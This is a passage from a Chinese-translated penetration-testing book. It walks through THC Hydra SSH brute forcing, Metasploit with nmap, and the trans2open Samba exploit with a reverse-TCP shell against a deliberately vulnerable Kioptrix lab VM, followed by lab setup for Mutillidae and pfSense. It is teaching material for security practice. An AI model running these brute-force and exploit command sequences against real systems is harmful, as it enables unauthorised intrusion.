Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [server service [OPT]]|[service://server[:PORT][/OPT]]

Hydra 可以从命令提示符中使用,但它也有一个可以通过以下方式调用的漂亮的 GUI:

# xhydra 

这个命令将启动 GUI,并呈现给我们以下内容:

THC Hydra

注意

我们将使用 BackTrack 中包含的密码文件,但理想情况下,你将下载或创建自己的密码文件,特别是如果你能够获取关于客户网站或元数据的公司特定信息。我强烈建议你查看 cewl(由 DigiNinja 编写,并预装在 Backtrack 上)www.digininja.org/projects/cewl.php

为了对我们的 Kioptrix 机器执行简单的暴力破解攻击,我们必须选择以下设置:

  • 目标选项卡

  • 单个目标:192.168.75.14(Kioptrix 虚拟机)

  • 端口:22

  • 协议:SSH

  • 检查以下选项:详细说明,显示尝试

  • 密码选项卡

  • 用户名:Harold

  • 密码:lotsOfPasswords

  • 检查:尝试使用密码登录,尝试空密码

  • 其他一切默认

转到开始选项卡,然后在屏幕底部点击开始按钮。你将看到以下内容:

THC Hydra

好吧,我们成功猜到了一个我们已经知道密码的帐户的密码...并不是很令人兴奋,但它确实让你知道,有简单的方法可以验证帐户登录是否准确,而无需登录到必要的客户端(例如检查 SNMP 或 TFTP)。

让我们把我们的密码添加到 BackTrack 5 中包含的字典中。打开一个终端会话,然后输入:

# /pentest/passwords/wordlists 

这将带你到单词列表目录。

提示

在单词列表目录中有一个名为darkc0de.lst的文件,可以帮助你入门。看看这个文件,了解一个典型的单词列表会包含什么。

这是一个非常方便的地方,可以存储所有个人的单词列表。许多测试人员会有几个喜欢的单词列表,并根据需要即时创建单词列表。让我们把我们的密码添加到这个列表中。编辑darkc0de.lst,使其看起来像这样:

^
^[^[
^[^[^[
^[^[^[^[
^[^[^[^[^[
^[^[^[^[^[^[
^[^[^[^[^[^[^[
^[^[^[^[^[^[^[^[
!magnus
!power
"A" SIDES
"DETROIT" GARY & CC TH WIGGINS
lotsOfPasswords 
#
#

我们已经将测试添加到了这个密码文件的头部,以便更快地找到它。

再次打开 Xhydra,并选择以下选项:

  • 目标选项卡

  • 单个目标:192.168.75.14(Kioptrix 虚拟机)

  • 端口:22

  • 协议:SSH

  • 检查以下选项:详细说明,显示尝试

  • 密码选项卡

  • 用户名:Harold

  • 密码列表:已选择,点击条目字段选择/pentest/passwords/wordlists/darkc0de.lst

  • 检查:尝试使用密码登录,尝试空密码

  • 调整

  • 任务数量:1

  • 在找到第一对后退出:已选中

  • 其他一切默认

再次转到开始选项卡,然后在窗口右下角点击开始:

![THC Hydra

Hydra THC 对任何人的工具箱都是一个明显的好处,它的使用应该得到练习和完善,才能真正成功地渗透复杂的网络,其中密码可能是整个安全架构中最薄弱的环节。

Metasploit-学习并喜欢它

Metasploit™框架是令人难以置信的。它以友好、易于使用的方式为渗透测试人员提供了各种工具。它最初是由 HD Moore 创建的,最近被 Rapid7 收购,Rapid7 是 Nexpose 漏洞扫描工具包的创建者。我们手动完成的所有工作都可以用 Metasploit 完成。如果您是渗透测试的新手,我强烈建议您通过www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training提供的免费培训,真正了解这个框架的强大之处。该网站不断更新,应该经常访问,以获取有关 MSF 框架最新添加的信息。在本书中,我们将范围限制在 MSF 框架的一些更有趣的功能上,以突出它为渗透测试人员必须完成的工作增加的效率。

更新 Metasploit 框架

一如既往,经常更新应用程序非常重要。在这方面,Metasploit 也不例外。您应该至少每周更新一次 Metasploit 框架的安装。这个命令非常容易记住。您可以在 BackTrack shell 中运行该命令,而不管当前的工作目录是什么。在更新之前,请确保您的 BackTrack 实验室机器已连接到互联网。

#msfupdate 

更新完成后,您应该会收到更新通知,然后是命令提示符:

Updated to revision <new revision number>
root@bt:~#

您还将在 Metasploit 标题屏幕上看到一个信息丰富的部分,提醒您上次更新的内容:

# msfconsole 

这个命令将产生类似以下的输出:

_ _
/ \ / \ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | | | | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | |_ \__/ | | | |_
|/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\
=[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 762 exploits - 404 auxiliary - 117 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
=[ svn r14271 updated today (2011.11.16) 
msf >

请注意,上次更新的日期和svn号码会作为输出的一部分呈现。

注意

现在可能是更新您的 BackTrack 虚拟机的好时机。在更新 Metasploit 框架之前,您应该先更新 BackTrack。

数据库和 Metasploit

我最喜欢的 Metasploit 功能之一是能够将所有结果转储到数据库中。Metasploit 默认使用 PostgreSQL。

注意

安装 PostgreSQL 可能并不是必需的。尝试在 MSF 上下文中连接到数据库,如果遇到错误,请按照完整的安装过程再次尝试。

在 BackTrack 5 上安装 PostgreSQL

我们需要重新连接我们的 BackTrack 5 虚拟机,以便再次下载和安装 PostgreSQL。一旦您已经验证了您的连接性,请键入以下内容:

# apt-get install postgresql 

阅读说明并按Y继续。安装应该以类似以下的声明结束:

Setting up postgresql (8.4.8-0ubuntu0.10.04) ...

现在我们需要对安装进行一些修改:

# sudo su postgres -c psql 

could not change directory to "/root"
psql (8.4.8)
Type "help" for help.

安装了 postgres 后,我们会看到以下提示,让我们知道我们正在数据库控制台中工作:

postgres=#

我们现在将更改默认数据库用户的密码:

postgres=# ALTER USER postgres WITH PASSWORD 'myPassword'; 

ALTER ROLE

在这里,我们更改了 postgre 角色的密码。我们将使用\q退出 postgres 控制台。

postgres=# \q 

验证数据库连接

加载 Metasploit 控制台:

# msfconsole 

msf >提示符下键入:

msf> db_connect postgres:myPassword@127.0.0.1/pentester
msf> db_status

[*] postgresql connected to pentester

现在我们知道我们连接到名为 pentester 的 PostgreSQL 数据库。我们可以通过输入以下内容来验证连接:

msf> hosts 

Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------

上一个命令将为我们提供主机列表。正如你所看到的,目前还没有什么有趣的东西。

在 Metasploit 中执行 Nmap 扫描

当运行主机命令时,我们需要一些令人兴奋的内容,所以让我们运行一个快速的 nmap 扫描来收集一些数据。打开msfconsole并连接到数据库后,我们现在可以直接从 Metasploit 运行我们的 nmap 扫描。

msf> db_nmap -nO -sTU -pT:22,80,111,139,443,32768,U:111,137,32768 192.168.75.14 

结果看起来非常熟悉,而且还有一个额外的好处,就是已经被添加到数据库以供将来参考:

[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-11-16 21:47 EST
[*] Nmap: Nmap scan report for 192.168.75.14
[*] Nmap: Host is up (0.00059s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 22/tcp open ssh
[*] Nmap: 80/tcp open http
[*] Nmap: 111/tcp open rpcbind
[*] Nmap: 139/tcp open netbios-ssn
[*] Nmap: 443/tcp open https
[*] Nmap: 32768/tcp open filenet-tms
[*] Nmap: 111/udp open rpcbind
[*] Nmap: 137/udp open netbios-ns
[*] Nmap: 32768/udp open|filtered omad
[*] Nmap: MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)
[*] Nmap: Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.4.X
[*] Nmap: OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
[*] Nmap: Network Distance: 1 hop
[*] Nmap: OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 3.00 seconds

如果我们运行快速的hosts命令,我们会看到系统已经添加到我们的 PostgreSQL 渗透测试数据库中:

msf > hosts 

Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.75.14 08:00:27:21:21:62 Linux 2.4.X device

现在数据已经在数据库中,我们可以执行各种方便的节省时间的技巧。例如,如果我们想要查看哪些系统打开了 443 端口,我们可以输入:

msf > services -p 443 

这为我们提供了一个格式良好的输出列表,列出了所有打开 443 端口的系统:

Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.75.14 443 tcp https open

使用辅助模块

msf > use auxiliary/scanner/portscan/tcp

使用命令指示 Metasploit 使用指定的模块。

msf auxiliary(tcp) > show options

每个模块都有一组特定的选项,可以通过show options命令显示。这个特定的模块有以下可以更改的选项:

Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds

我们需要更改其中一些以适应我们的需求:

msf auxiliary(tcp) > set RHOSTS 192.168.75.14
,

RHOSTS是我们的目标范围。我们将其设置为192.168.75.14:

msf auxiliary(tcp) > set PORTS 1-1024 

为了节省时间,我们将扫描限制在前 1024 个端口,使用set PORTS设置。

msf auxiliary(tcp) > run 

run命令将使用我们预定的设置启动扫描。几分钟后,我们将从控制台收到反馈:

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

这里需要注意的重要事项是,所有模块都以相同的方式运行。一旦您了解了搜索漏洞的方法,您将能够重复使用相同的步骤。

使用 Metasploit 来利用 Kioptrix

现在是时候看看如何使用 Metasploit 对我们的 Kioptrix 机器进行攻击了。由于我们知道如何编译和使用互联网上提供的概念验证代码,我们将能够快速体会到 Metasploit 提供的时间节省。我们将首先连接到我们的数据库。

# msfconsole
msf > db_connect postgres:myPassword@127.0.0.1/pentester

我们应该已经在我们的数据库中有一些信息。这可以得到验证:

msf > services 

这个命令给我们提供了以下输出:

Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.75.14 22 tcp ssh open
192.168.75.14 80 tcp http open
192.168.75.14 111 udp rpcbind open
192.168.75.14 111 tcp rpcbind open
192.168.75.14 137 udp netbios-ns open
192.168.75.14 139 tcp netbios-ssn open
192.168.75.14 443 tcp https open
192.168.75.14 32768 tcp filenet-tms open
192.168.75.14 32768 udp omad open

在审查这些端口时,我们发现我们之前利用的 samba 端口 139 仍然是开放的。现在是时候看看在不必重新格式化利用代码的情况下我们能做些什么了。

msf> search samba 

结果是:

使用 Metasploit 来利用 Kioptrix

  • 名称:一旦我们决定尝试哪种漏洞利用,名称列将与 USE 命令相关联。

  • 披露:披露日期是漏洞被公开或供应商知晓的实际日期,而不是概念验证代码发布的日期。

  • 等级:等级非常重要,因为它表明漏洞利用的可靠性有多高。

  • 描述也是这种漏洞利用的描述。

我们将使用trans2open漏洞利用,因为它类似于我们在本章前手动执行的操作。在msfconsole中输入:

msf > use exploit/linux/samba/trans2open 

当需要更多关于漏洞利用的信息时,我们可以使用info命令来接收以下输出:

msf exploit(trans2open) > info 

Name: Samba trans2open Overflow (Linux x86)
Module: exploit/linux/samba/trans2open
Version: 12196
Platform: Linux
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Provided by:
hdm <hdm@metasploit.com>
jduck <jduck@metasploit.com>
Available targets:
Id Name
-- ----
0 Samba 2.2.x - Bruteforce
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 139 yes The target port
Payload information:
Space: 1024
Avoid: 1 characters
Description:
This exploits the buffer overflow found in Samba versions 2.2.0 to
2.2.8\. This particular module is capable of exploiting the flaw on
x86 Linux systems that do not have the noexec stack option set.
NOTE: Some older versions of RedHat do not seem to be vulnerable
since they apparently do not allow anonymous access to IPC.
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0201
http://www.osvdb.org/4469
http://www.securityfocus.com/bid/7294
http://seclists.org/bugtraq/2003/Apr/103

Metasploit 中的所有漏洞利用都提供这些信息。如果时间允许,花时间熟悉一些最常用的漏洞利用将对长远非常有益,因为您将能够避免尝试在生产系统上不起作用的漏洞利用。

现在我们需要设置一些可用的选项:

msf > set RHOST 192.168.75.14 

RHOST是远程主机,需要设置为我们的 Kioptrix 机器的 IP 地址。

msf > show payloads 

使用 Metasploit 来利用 Kioptrix

show payloads命令提供了可以与特定漏洞利用一起使用的所有兼容负载的列表。我们将在本例中使用reverse_tcp。这种负载类型通常很小且有效,尽管它没有 meterpreter 提供的全部选项。

> set payload linux/x86/shell/reverse_tcp 

我们还需要设置LHOSTLPORT

> set LHOST 192.168.75.12 

这是我们的本地主机,监听器将在上面设置。

> set LPORT 2222 

这是我们想要监听的端口。

现在这件事已经解决,我们可以继续进行利用:

> exploit 

如果一切顺利,您将收到以下确认和一个类似于我们在本章前手动编译的漏洞利用为我们提供的连接。

msf exploit(trans2open) > exploit 

[*] Started reverse handler on 192.168.75.12:2221
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.75.14
[*] Command shell session 2 opened (192.168.75.12:2221 -> 192.168.75.14:32802) at 2011-11-16 23:22:06 -0500

为了确保我们有 root 权限,我们将执行以下命令:

# mail

Mail version 8.1 6/6/93\. Type ? for help.
"/var/mail/root": 6 messages 6 unread
>U 1 root@kioptix.level1 Sat Sep 26 11:42 15/481 "About Level 2"
U 2 root@kioptrix.level1 Thu Nov 10 19:34 19/534 "LogWatch for kioptrix"
U 3 root@kioptrix.level1 Fri Nov 11 14:38 48/1235 "LogWatch for kioptrix"
U 4 root@kioptrix.level1 Sun Nov 13 15:12 19/534 "LogWatch for kioptrix"
U 5 root@kioptrix.level1 Mon Nov 14 18:23 244/12279 "LogWatch for kioptrix"
U 6 root@kioptrix.level1 Wed Nov 16 15:19 19/534 "LogWatch for kioptrix"

我们正在查看 root 帐户的消息,并且可以看到 Loneferret 给我们留了一条不错的消息;输入 1 来阅读它:

# 1

Message 1:
From root Sat Sep 26 11:42:10 2009
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2
If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

最后一个练习应该已经清楚地表明,与手动查找和编译代码相比,使用 Metasploit 是轻而易举的。最好的部分是,您将能够将自己的模块和编译代码添加到框架中。

总结

本章对利用进行了扎实的介绍。通过利用 Kioptrix,这是一个有意设置的易受攻击的 Linux 发行版,我们能够实际练习在 Exploit-DB 和 BackTrack 上定位漏洞,并纠正我们发现的任何错误。我们研究了真正理解渗透测试利用阶段所需的步骤,如横幅抓取和在受攻击的机器上传输文件。

我们研究了使用 John the Ripper 和 THC Hydra 进行密码破解和暴力破解,这两者都需要深入理解,以便为后续章节做准备。密码破解在短期内不会消失,对这个主题的专业知识在长期内可能非常有益。

本章还涵盖了将文件传输到受攻击的机器以及从中传输文件所需的步骤;这包括设置和配置与 BackTrack 5 预装的 FTP 守护程序。

最后,我们总结了 Metasploit 以及它如何简化渗透测试任务的方式。通过实际操作,很快就清楚地看到,尽管手动查找和编译利用代码可能有益,但使用 Metasploit 可以显著提高整体生产力。

在下一章中,我们将讨论测试 Web 应用程序及其基础架构安全所需的技术。这包括负载均衡器和 Web 应用程序防火墙的检测。还讨论了诸如 w3af 和 Webscarab 之类的工具的使用。此外,我们的虚拟实验室得到了极大的扩展,包括了 pfSense 和 Kioptrix Level 3 等多台机器。

第五章:Web 应用程序利用

在本章中,我们将探讨使用免费工具(如您的网络浏览器、w3af、WebScarab 等)测试 Web 应用程序的各种方法。我们还将讨论绕过 Web 应用程序防火墙和入侵检测系统的方法,以及如何确定目标是否正在进行负载平衡或过滤。本章需要进行大量的实验室准备。如果您不跟着示例进行操作,您可能希望跳过这些部分。

需要注意的是,在安全环境中,基于 Web 的应用程序可能是获得您正在测试的网络中的立足点的最直接方法。它们也是恶意用户最有可能使用的入口点。似乎每天都有更多的违规通知发布,其中大多数源于 Web 应用程序安全漏洞或配置错误。考虑到这些应用程序中的许多是通过互联网对公众开放的,因此 Web 应用程序是主要目标。互联网仍然提供各种匿名方法,从而限制了潜在攻击者面临的实际风险。毕竟,很难起诉你无法抓住的人。

注意

有许多种方法可以进行这种类型的测试。我们需要专门撰写一本书来覆盖所有方法。考虑到这一点,我们提供了有关在针对安全环境时提供最大利益的技术指导。

企业在决定安全预算应该花在哪里时通常会采用基于风险的方法,而在时间和预算限制下做出的决定有时会导致意外的错误,对整个环境的安全姿态产生深远影响。渗透测试人员必须能够模仿客户在野外可能面临的攻击类型,并提供有关如何减轻发现的漏洞的准确信息。有时这些应用甚至会让攻击者轻松绕过所有已经存在的安全控制。企业不仅面临失去关键信息的风险,而且在保护架构的其他方面上花费的所有资金都将被彻底浪费。

与其他章节一样,我们首先快速回顾我们选择的工具的基础知识,然后转向一些更有趣的技术。

熟能生巧

渗透测试需要使用需要时间和实践来完善的技能。为了鼓励吸收本章的材料,我们将在我们的实验室中添加一个负载平衡的有意漏洞的 Linux 发行版实例。我们还将使用我们的 Ubuntu 虚拟机来托管 Mutillidae 2.1.7(提供给社区的www.irongeek.com),这是一个具有故意安全漏洞的基于 Web 的应用程序,我们将利用这些漏洞。

如果您已经阅读了本书的各章节,您应该已经熟悉了 Kioptrix Level 1。现在我们将转向更高级的 Kioptrix 发行版,由 Steven McElrea(又名 loneferret)和 Richard Dinelle(又名 haken29a)的www.kioptrix.com团队提供给社区。

为了跟随本章的示例,虚拟实验室需要配置如下:

  • BackTrack Linux:连接到内部网络VLAN1

  • Kioptrix VM Level 3:连接到内部网络VLAN1

  • Kioptrix VM Level 3 Clone:连接到内部网络VLAN1

  • Ubuntu_TestMachine_1已安装 Mutillidae:连接到VLAN1

  • PFSense VM:连接到内部网络VLAN1。这将为我们的负载平衡提供支持

我们将演示安装 Kioptrix 3、创建 VM 克隆、在 Ubuntu 上安装 Mutillidae,并为我们当前的需求准备 PfSense。

注意

VLAN1 网络连接可以通过在 Oracle VM 管理器的网络设置中简单地选择内部网络来创建。PfSense 将用于为客户机 IP 地址提供 DHCP 服务器。

请查看抽象网络图:

熟能生巧

安装 Kioptrix Level 3

学习最有效的方法之一是进行实践。Kioptrix Level 3 是由 loneferret(Steven McElrea)和 haken29a(Richard Dinelle)免费提供给社区的,旨在提供一个基本平台,用于获得这种经验。这个特定的发行版为我们提供了一个包含多个 Web 应用程序安全漏洞的平台,我们将利用这些漏洞来探索各种实践的 Web 应用程序利用方法。

前往www.kioptrix.com网站,选择您喜欢的语言,然后点击页面右侧的Kioptrix VM Level 1.2链接。

安装 Kioptrix Level 3

您需要将文件提取到所选位置。此时,这个过程应该是熟悉的。打开 Oracle VirtualBox 并使用以下定义的设置创建一个新的虚拟机:

  • 名称:Kioptrix VM Level 3

  • 操作系统类型:其他 Linux

  • 内存:256

  • 启动磁盘:Kioptrix Level 3.vmdk(正常,3.00 GB)

要使用现有的 Kioptrix 机器,您需要选择:如下截图所示的使用现有硬盘选项:

安装 Kioptrix Level 3

需要将新的 Kioptrix 系统添加到 Oracle VirtualBox 的网络设置部分,以确保该系统与 BackTrack 虚拟机共享相同的受限网络。两者都应设置为使用VLAN1

注意

如果在启动 Kioptrix Level 3 虚拟机时遇到错误,请编辑虚拟机设置,并在系统-主板中启用 IO APIC 设置。处理器设置下的 PAE/NX 也可能需要启用。

安装 Kioptrix Level 3

Kioptrix Level 3 可以通过各种方式来解决,因为这个发行版旨在帮助初学者学习渗透测试概念。我们能够专注于用于利用机器的方法论,而不是浪费时间试图突破旨在误导或混淆攻击者的安全机制,这些安全机制可能在真正的渗透测试中遇到。

创建 Kioptrix VM Level 3 克隆

我们将使用虚拟负载均衡器来确保我们准确模拟最有可能在安全环境中找到的技术类型。为此,我们需要创建另一个 Kioptrix VM 的实例。您可以轻松地按照之前概述的步骤来完成此任务,或者您可以利用 Oracle VirtualBox Manager 中包含的克隆功能。

要克隆虚拟客户机,请执行以下步骤:

  1. 打开Oracle VM VirtualBox Manager

  2. 如果需要,关闭要克隆的机器。

  3. 右键单击 Kioptrix VM Level 3 虚拟机,然后选择克隆选项。

  4. 勾选重新初始化所有网络卡的 MAC 地址选项。创建 Kioptrix VM Level 3 克隆

  5. 点击下一步

  6. 选择完全克隆单选按钮。

  7. 点击克隆完成该过程。

通过选择重新初始化所有系统的 MAC 地址,我们确保将来避免网络冲突。

完成完整的实验设置后,请注意以下事项:

您需要将目标机器(使用 DHCP)的 IP 信息添加到 BackTrack 测试器 1 实例中。允许目标机器(Kioptrix)启动并获取 IP 地址。快速扫描您的虚拟网络,找到 Kioptrix 实例的分配 IP 地址,并将其添加到 BackTrack 的主机文件中。

在 Ubuntu 虚拟机上安装和配置 Mutillidae 2.1.7

Mutillidae 是由 Adrian "Irongeek" Crenshaw 和 Jeremy Druin 创建的一组脚本,故意对 OWASP 前 10 名进行了漏洞测试。有关发布的详细信息,请访问:www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10

我们将使用这些脚本来练习一些您应该熟悉的技术,以便在受保护的环境中进行渗透测试的挑战。

注意

如果需要练习,您还可以利用 Mutillidae 在分发的每个级别中包含的提示来增强对 Web 应用程序测试的信心。

正如我们之前提到的,Web 应用程序是一个非常好的目标,通常由于各种原因,包括计划外的软件更新、缺乏良好的编码实践等,往往会发现它们是不安全的。

  1. 首先,我们需要配置您的Ubuntu_TestMachine_1以使用两个网络适配器,一个用于 NAT,一个用于内部网络 VLAN1。这个过程现在应该很熟悉了,所以我们将不再回顾执行此任务所需的步骤。

  2. 启动Ubuntu_TestMachine_1,并验证与互联网的连接。现在是抓取所需的任何软件更新的最佳时机。

  3. 前往:www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10,并从 Adrian Crenshaw(Irongeek)的网站上下载 Mutillidae 2.1.7 的副本。Mutillidae 的开发人员努力为社区提供了一个有效的分发,以测试我们的技能对抗 OWASP 前 10 名。

提示

www.irongeek.com网站充满了精彩的信息;我强烈建议您抽出时间查看 IronGeek 收集或创建并提供给社区的一些渗透测试信息!

  1. 打开控制台窗口,切换到Downloads/目录。
# cd Downloads/ 

  1. 解压缩mutillidae-2.1.7.zip文件:
# unzip mutillidae-2.1.7.zip 

  1. mutillidae文件夹复制到/var/www目录:
# sudo cp -r mutillidae /var/www/ 

  1. 现在我们需要配置数据库连接,以便 mutillidae 正常运行。我们需要更改config.inc文件以反映我们为 root 设置了 MySQL 密码。将1EasyPassword替换为您的 MySQL root 密码。

注意

您还记得您在第三章中使用的 MySQL root 密码吗,枚举:明智地选择您的目标?如果不记得,那么您可能能够理解现实世界中为什么有这么多管理员重复使用密码的原因!在拥有许多机器的大型环境中,正确的密码管理至关重要。有一些可用的工具可以用来提供一次性密码以及其他改进身份验证方法的机制。

# sudo nano /var/www/mutillidae/config.inc
$dbpass = '1EasyPassword';

  1. 使用CTRL + OEnter,然后使用CTRL + X保存文件并返回到命令行。

  2. 在 Ubuntu 中打开 Firefox 浏览器,浏览到http://localhost/mutillidae

  3. 单击顶部导航栏中的设置/重置 DB链接。在 Ubuntu 虚拟机上安装和配置 Mutillidae 2.1.7

就是这样!现在我们需要重新启动机器并禁用 NAT 连接,以便它无法通过互联网访问。这些页面不应向互联网上的恶意用户提供。

安装和配置 pfSense

pfSense 是一个基于 FreeBSD 的虚拟防火墙和路由器的免费实现。它非常灵活,是各种应用的理想选择,包括建立虚拟实验室进行渗透测试。pfSense 提供的远不止简单的防火墙功能。由于它易于安装和配置,使得 pfSense 非常适合我们的目的;毕竟,我们现在正在努力保持简单,以便我们可以专注于渗透测试的重要方面,而不是冗长的讨论复杂虚拟路由器和交换机的正确配置。

为 pfSense 准备虚拟机

  1. pfSense 必须作为虚拟客户机下载和安装。在进行下一步之前,请下载分发。pfSense 下载镜像的链接位于:www.pfsense.org/mirror.php?section=downloads

  2. 选择靠近您物理位置的镜像以提高下载速度。

  3. 下载适当的发行版到您选择的位置。在本章的示例中,我们将使用pfSense-2.0-RELEASE-i386.iso.gz

  4. 验证下载的 MD5,然后解压到所选位置。

  5. 打开“Oracle VM VirtualBox Manager”,选择“新建”图标,然后单击“下一步”。

  6. 键入 pfSense VLAN1,并使用下拉菜单选择BSD作为操作系统FreeBSD作为版本,然后单击“下一步”。为 pfSense 准备虚拟机

  7. 如果系统资源可用,选择 256 MB 的 RAM。最低要求建议您至少使用 128 MB。准备好后,单击“下一步”。

  8. 为了安装 pfSense,我们需要创建一个新的硬盘。我们将使用 6 GB 进行安装。此设置可以低至 2 GB 并且仍然有效,但您将受到扩展 pfSense 功能的限制。在选择创建新硬盘径向选项后,单击“下一步”。

  9. 选择VDI(虚拟磁盘映像),然后单击“下一步”。

  10. 选择:动态分配虚拟磁盘文件,然后单击“下一步”。

  11. 如果您的机器上的磁盘空间不紧张,请至少选择6 GB。这将以 2 GB 的块动态分配,但现在设置较大的大小要比以后更改更容易。单击“下一步”。

  12. 确保您的设置与以下设置类似,并单击“创建”按钮以完成创建 pfSense 虚拟机。为 pfSense 准备虚拟机

  13. 右键单击 pfSense VLAN1 实例,选择“设置”。我们需要为这台虚拟机启用两个网络设备。将网络适配器 1 分配给内部网络WLAN1,将网络适配器 2 分配给VLAN1。如果以前没有使用过内部网络名称,您可能需要手动输入。从下拉菜单中选择PCNet-PCI II适配器(在高级菜单下的两个接口下)以避免与 FreeBSD 和 VirtualBox 相关的网络问题。

  14. 在单击OK并关闭窗口之前,从混杂模式下拉菜单中选择允许 VMs

  15. 在 Oracle VM VirtualBox 管理器中选择PFSense VLAN1,然后单击启动图标。

  16. 在弹出的首次运行向导屏幕上单击“下一步”。

  17. 单击屏幕右侧的图标,浏览到您下载并提取PFSense.iso的位置,选择它,然后单击“打开”。

  18. 单击“下一步”。

pfSense 虚拟机持久性

如果我们不想每次加载 pfSense 虚拟机时都手动重新配置它,我们需要在专用虚拟硬盘上执行完整安装。以下步骤将引导您完成必要的过程:

  1. 单击“启动”,这将开始 pfSense 虚拟机的引导序列。

  2. 1继续引导。

  3. I继续安装。在适当的时候按顺序使用以下设置:

  • 接受这些设置

  • 快速/简易安装

  • 好的

  • 对称多处理内核(多个处理器)

  • 重新启动

注意

为了避免安装介质在下次重启时启动,可能需要通过选择设备 | CD/DVD 设备并在菜单中取消选中pfsense.iso来“弹出”安装介质。

  1. 系统重新启动后,系统将询问您是否要立即设置 VLAN。输入y并按Enter继续。

  2. 输入新 VLAN 的父接口名称提示处输入le0并按Enter

  3. 输入 VLAN 标记处输入1

  4. 输入新 VLAN 的父接口名称提示处,输入le1并按Enter

  5. 输入 VLAN 标记处输入2

  6. Enter

  7. 输入 WAN 接口提示处,输入WLAN1接口。您可以查看 VirtualBox 中的设置,找出哪个网络适配器 MAC 地址是 WLAN 适配器。作为示例,我们将使用:le0并按Enter

  8. Enter,并选择适当的适配器用于 LAN(在我的情况下选择 VLAN1 适配器,le1)。

  9. 继续按Enter,然后在提示时按y继续。pfSense 虚拟机持久性

恭喜,您的实验室设置几乎完成了!在我们开始本章更有趣的部分之前,还有一些额外的设置需要配置。此时,您应该看到类似以下的屏幕:

pfSense 虚拟机持久性

配置 pfSense DHCP 服务器

在开始之前,我们需要设置内置的 DHCP 服务器,以便我们的其他机器可以在 VLAN1 接口上获取地址,而无需手动配置。使用 pfSense 来管理 DHCP 连接比起简单使用 VirtualBox 提供的内置功能,能够提供更多的控制。

  1. 从 pfSense 控制台中选择2)设置接口 IP 地址

  2. 输入您要配置的接口的编号:提示处,我们需要输入2选择 LAN 接口,并按Enter

  3. 在提示时输入以下 IP 地址:192.168.75.1并按Enter

  4. 输入新 LAN IPv4 子网位数提示处输入24并按Enter

  5. 当询问是否要在 LAN 上启用 DHCP 服务器时,输入y。按Enter继续。配置 pfSense DHCP 服务器

  6. 当要求提供起始地址范围时,输入192.168.75.10并按Enter

  7. 您将被要求选择结束的 DHCP 范围。输入192.168.75.50并按Enter配置 pfSense DHCP 服务器

启动虚拟实验室

每次加载测试网络时,系统应按以下顺序启动:

  1. pfSense VLAN1

  2. BackTrack

  3. Kioptrix VM Level 3

  4. Kioptrix VM Level 3 Clone

  5. Ubuntu_TestMachine_1

提示

请记住,在 BackTrack 或 Ubuntu 中,您可以随时使用dhclient命令行命令释放和更新 IP 地址。之后使用ifconfig检查地址,以确保 DHCP 服务器正常工作。

如果您遇到机器从错误的 DHCP 服务器获取 IP 的问题,您还需要关闭我们在前几章中启用的 VirtualBox DHCP 服务器。有关 VirtualBox 更高级功能的详细说明可以在互联网上找到:www.virtualbox.org/manual/ch08.html

pfSense DHCP — 永久预留

现在我们可以登录到虚拟 pfSense 防火墙的 Web 控制台,为两台 Kioptrix 机器设置静态 IP。

打开预装在 BackTrack 中的 Firefox Web 浏览器,转到http://192.168.75.1,这是 pfSense 虚拟机的 Web 控制台界面。如果一切配置正确,系统将要求您输入用户名和密码。

  • 用户名:admin

  • 密码:pfsense

注意

如果您在设置机器时遵循了标准最佳实践,您可能已经更改了 pfSense 实例的默认密码。如果是这种情况,请使用该密码而不是默认密码,并为积极主动表示赞赏!

pfSense 仪表板提供了大量的数据。现在我们只关注设置负载平衡。按照以下步骤允许 pfSense 为两台 Kioptrix 客户机负载平衡 Web 应用程序。

  1. 首先,我们需要知道哪些 MAC 地址属于每台 Kioptrix 机器,以便我们可以设置静态租约。这可以通过检查每个框的 VirtualBox Manager 设置并查看网络设置来完成。

